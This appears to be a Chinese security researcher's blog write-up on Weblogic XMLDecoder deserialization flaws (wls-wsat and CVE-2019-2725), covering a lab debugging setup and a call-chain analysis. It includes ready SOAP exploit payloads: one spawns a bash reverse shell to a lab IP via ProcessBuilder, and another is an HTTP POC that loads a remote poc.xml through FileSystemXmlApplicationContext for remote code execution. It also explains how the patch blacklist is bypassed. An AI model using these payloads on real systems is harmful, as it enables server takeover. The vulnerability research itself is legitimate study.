Weblogic XMLDecoder反序列化漏洞手记
2021-1-18 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:8 收藏

最近有些摸鱼。感谢@hu3sky&@passer6y在知识上的帮助,对于wls补丁、XML Decoder反序列化后触发sink的操作,摘抄了先知社区里师傅的分析(放在文后的链接中),对网上已有的分析和轮子取了部分精华摘录(为了一些基础概念不误人子弟)。所以本文重点还是在于从Java小白视角对漏洞成因和poc构造的分析

环境搭建

vulhub拉起容器后,进入容器,修改配置/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh,添加debug参数:

debugFlag="true"
export debugFlag

---本地修改后cp回去
docker cp 8a4cb0d768ad:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh ./setDomainEnv.sh

docker cp ./setDomainEnv.sh 8a4cb0d768ad:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

docker restart重启容器,并将容器中root文件夹拷贝到本地

docker cp 8a4cb0d768ad:/root ./weblogic_jars

用IDEA打开文件夹wlserver_10.3,项目设置Weblogic自带的jdk1.6
-w1282

Middleware文件夹下用到的所有jar包放到alllib目录,并设置为项目的libraries

find ./ -name *.jar -exec cp {} ./alllib/ \;

-w1024

增加一个Remote配置,Attach到JVM,端口号为8453
-w1440

反编译weblogic.jar,可以看到jar的目录结构。或者直接反编译整个lib目录,
-w1440

/weblogic_jars/Oracle/alllib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class#129行下断点,向wls-wsat/CoordinatorPortType发包可以成功断下

-w1440

复现分析

前要

首先要搞懂一些概念,WebService到底是什么?

WebService是一种跨编程语言和跨操作系统平台的远程调用技术。所谓跨编程语言和跨操作平台,就是说服务端程序采用java编写,客户端程序则可以采用其他编程语言编写,反之亦然!跨操作系统平台则是指服务端程序和客户端程序可以在不同的操作系统上运行。

SOAP是服务于WebService的协议,SOAP协议 = HTTP协议 + XML数据格式

漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。可以看到这个组件下有webservices.xml,而其他war组件没有解析、处理soap报文的能力,自然无法触及XMl Decoder的反序列化操作。
-w483

也就是说在wls-wsat下所有的servlet映射都可解析soap请求,一共有这些对应的路由

<servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
<url-pattern>/CoordinatorPortType</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp</servlet-name>
<url-pattern>/RegistrationPortTypeRPC</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp</servlet-name>
<url-pattern>/ParticipantPortType</url-pattern>

<servlet-name>RegistrationRequesterPortTypeServlethttp</servlet-name>
<url-pattern>/RegistrationRequesterPortType</url-pattern>

<servlet-name>CoordinatorPortTypeServlethttp11</servlet-name>
<url-pattern>/CoordinatorPortType11</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp11</servlet-name>
<url-pattern>/RegistrationPortTypeRPC11</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp11</servlet-name>
<url-pattern>/ParticipantPortType11</url-pattern>

exp

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.31.101/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

XML-Decoder反序列化触发

首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

接着我们从POC发送后开始的调用栈开始分析。从下面的调用栈不难看出,weblogic.wsee.jaxws.HttpServletAdapter在分发了POST请求后进入weblogic.wsee.jaxws.WLSServletAdapter#handle对请求体进行处理,
-w1440

断点打在handle,调用super.handle(var1, var2, var3);方法,这个方法对servlet的容器和request和response进行了封装
-w1001

继续往后走到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest对POST请求体加上一些头数据(var3)后调用weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
-w1440

readHeaderOld继续对请求体处理,先解析为XML流,再将XML流序列化到ByteArrayOutputStream(数组输出流)中
-w1440

这里的var5就相当于序列化时的ObjectOutputStream,同理var4相当于封装在ObjectOutputStream的数据流(OutputStream)。调用var3.brige()将序列化的流数据写进var4中,相当于writeObject()过程。

而接下来的两步实际上是对XML数据流进行反序列化的操作

WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);

跟进WorkContextXmlInputAdapter,对ByteArrayInputStream解析出的数组输入流建立XMLdecoder对象
-w1440

退出当前栈顶,将此XMLdecoder对象赋值给变量var6。继续跟进readHeaderOld#this.receive,经过下图的流程最终执行readObject()操作后,触发XML-Decoder反序列化解析的漏洞利用

-w1439

补丁简析

在此后的几个版本,都有黑名单的绕过。因为接下来要分析CVE-2019-2725,就摘抄了Weblogic到10.3.6补丁。可以看到,补丁可以分为三个部分,我们一部分一部分看,首先构造的payload中不能存在名字为object、new、method的元素节点,其次限制了void元素只能使用index属性或者空属性,以上两点就限制了我们目前能想到所有指定反序列化类名的poc,没了method元素,也没了带method属性的void元素,我们就不能指定任意的对象方法,最后array元素的class属性还只能是byte,进一步限定了对传入反序列化类的对象属性值。

xmldecoder的官方文档很容易发现class元素节点同样可以指定任意的反序列化类名

结合上面的补丁已知,现在能够利用的条件:1、能够实例化任意类 2、但无法调用类的任意方法。3、需要找到一个可以利用构造函数的类,且构造函数接收的参数必须是字节数组或者是java中的基础数据类型,比如string,int这些

环境搭建

docker pull ismaleiva90/weblogic12
docker run -d -p 7001:7001 -p 8453:8453 -v /Users/Hpdata/DockerHubs/CVE-2019-2725/setDomainEnv.sh:/u01/oracle/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh --name weblogic_2019-2725 ismaleiva90/weblogic12:latest

我这里是本地setDomainEnv.sh覆盖了环境里的setDomainEnv.sh,主要修改两个地方:1、增加debugFlag参数;2、修改PRODUCTION_MODE为空

依然是把源码拉出来、jar打包。idea打开weblogic_jars文件夹,再设置jdk和lib,最后配一下Attach JVM到8453即可(详细步骤见上文)

docker cp weblogic_2019-2725:/u01/oracle/weblogic ./weblogic_jars
cd weblogic_jars
mkdir alllib
find ./ -name *.jar -exec cp {} ./alllib/ \;
docker cp weblogic_2019-2725:/usr/java/jdk1.8.0_25 ./jdk

调试踩坑

网上关于12.1.3分析断点都打在weblogic/wsee/async/AsyncResponseHandler.class,虽然在web.xml里写的是Bean处理请求,但handler才能收到数据。
-w954

如果从oracle官方下的wls12.1.3那么AsyncResponseHandler.class的位置在wseeclient.jar!/weblogic/wsee/async/AsyncResponseHandler.class,但是这个环境却不是这样,它把一些jar打包重新放在oracle_common文件下了,而且有些war的包也被打乱了,双击shift后搜索AsyncResponseHandler.class才发现需要的weblogic包在weblogic_jars/oracle_common/modules/com.oracle.webservices.wls.wls-soap-stack-impl_12.1.3.jar!/weblogic/wsee/async/AsyncResponseHandler.class,测试能成功断下来
-w1440

UnitOfWorkChangeSet二次反序列化通过JtaTransactionManager实现jndi注入

找了一个传入构造函数参数是字节数组(byte[] {})的恶意类UnitOfWorkChangeSetoracle.toplink.internal.sessions.UnitOfWorkChangeSet将接收到的byte数组反序列化,如果本地有Gadget则可二次反序列化造成RCE,Weblogic自带的jdk版本为1.6+。

但是UnitOfWorkChangeSet只能打10.3.6,所以poc和思路也不写了,看下面文章就行:
CVE-2019-2725 二次反序列化jndi注入分析

FileSystemXmlApplicationContext 实现RCE

利用的Gadget为FileSystemXmlApplicationContext,这个是Spring用于加载配置文件去完成上下文的实例化工作的类

POC

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.31.101:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-type: text/xml
Content-Length: 662

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <asy:onAsyncDelivery/>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://192.168.31.101:9999/poc.xml</string></void></class></java></work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    </soapenv:Body>
</soapenv:Envelope>

XML-decoder反序列化触发

在环境搭建的时候我下断在AsyncResponseHandler.class其实是不太合理的,不过应急分析的话这样下断是正解思路,因为AsyncResponseHandler.class是从exp溯源war包后中判断的。

既然这篇是事后分析,为了更好的说明_async下webservice如何从处理的soap报文请求到解析XML decoder的流程,断点其实应该下在weblogic/wsee/server/servlet/SoapProcessor.class#process
-w1440

带着request请求进入SoapProcessor.class#handlePost处理,经过一些调度后步入
weblogic/wsee/handler/HandlerIterator.class#handleRequest函数,for循环的主要逻辑为遍历获取的handles数组,对每一个获取的handler调用handleRequest方法

-w1440

看一下都有哪些handler(如下图),很明显我们在搭建环境时候的断点所在为第12个handler。
-w735

不过AsyncResponseHandler并不是触发XML-Decoder反序列化的地方,只是走通poc必须要满足条件的Handler之一,所以在前文也提到并没有把入口断点打在此。

即然也要满足条件,那么还得继续下断在weblogic/wsee/async/AsyncResponseHandler.class#handleRequest。函数逻辑很简单,在接收到SOAP报文后判断是否包含RelatesTo标签,否则直接return false了

String relatesTo = (String)mc.getProperty("weblogic.wsee.addressing.RelatesTo");
if (relatesTo == null) {
    return false;
}

看手册:https://www.w3.org/Submission/ws-addressing/,在报文中添加如下即可

      <wsa:MessageID> xs:anyURI </wsa:MessageID>
      <wsa:RelatesTo>xs:anyURI</wsa:RelatesTo>
      <wsa:To>xs:anyURI</wsa:To>
      <wsa:Action>xs:anyURI</wsa:Action>

接下来关键的Handler为第十五个即OperationLookupHandler,在propertyMap中不存在weblogic.wsee.ws.server.OperationName匹配项,所以会跳到try代码块中

-w1440

从当前的propertyMap也可以看到并不存在键值为weblogic.wsee.ws.server.OperationName的Map元素
-w815

那么向下走跟进getOperation()操作,从soap:Envelope中获取命名空间的值与dispatchMap中的值进行匹配,从dispacthMap中我们可以看到必须在遍历body或header时找到一个属性的值为:{http://www.bea.com/async/AsyncResponseService}onAsyncDelivery,才能够return。
-w1440

其实就是在Header或者Body里面的标签里必须要有命名空间里定义的标签(这里是asy),那么这里就把body/header里的标签定义为<asy:onAsyncDelivery/>,类似于下图这种用法
-w1203

通过EXP可以看到我们在envolope中定义了xmlns:asy,并且在header中添加了<asy:onAsyncDelivery/>。所以在走到这部分for循环遍历时,我们能够让标签名与命名空间拼接为{http://www.bea.com/async/AsyncResponseService}onAsyncDelivery,成功返回Map里的匹配值

过五关斩六将,最后一个handler是WorkAreaServerHandler#handleRequest
-w1440

通过getHeader获取的WorkAreaHeader不为空,则必须要在soap header写workContext,且获取header后写为输入流后交于XMldecoder处理

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://127.0.0.1:9999/poc.xml</string></void></class></java></work:WorkContext>

FileSystemXmlApplicationContext利用链构造

这条链真的很复杂,膜爆能挖出来的大手子

FileSystemXmlApplicationContext的构造方法跟进,传入的参数为攻击者恶意构造的远程xml文件<void><string>http://192.168.31.101:9999/poc.xml</string></void>,经过如下调用来重载上下文的配置

-w1440

获取了远程输入流后,对读取到poc.xml的bean进行一系列初始化操作
-w1440

最主要的就是创建bean实例,对bean中的参数进行赋值后执行bean中的init方法
-w1440

最终用反射调用ProcessBuilder.start(),实现RCE
-w1440

XMLDecoder解析流程分析

Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读

Weblogic-CVE-2019-2725分析通杀poc


文章来源: https://hpdoger.cn/2021/01/18/title:%20Weblogic%20XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%89%8B%E8%AE%B0/
如有侵权请联系:admin#unsafe.sh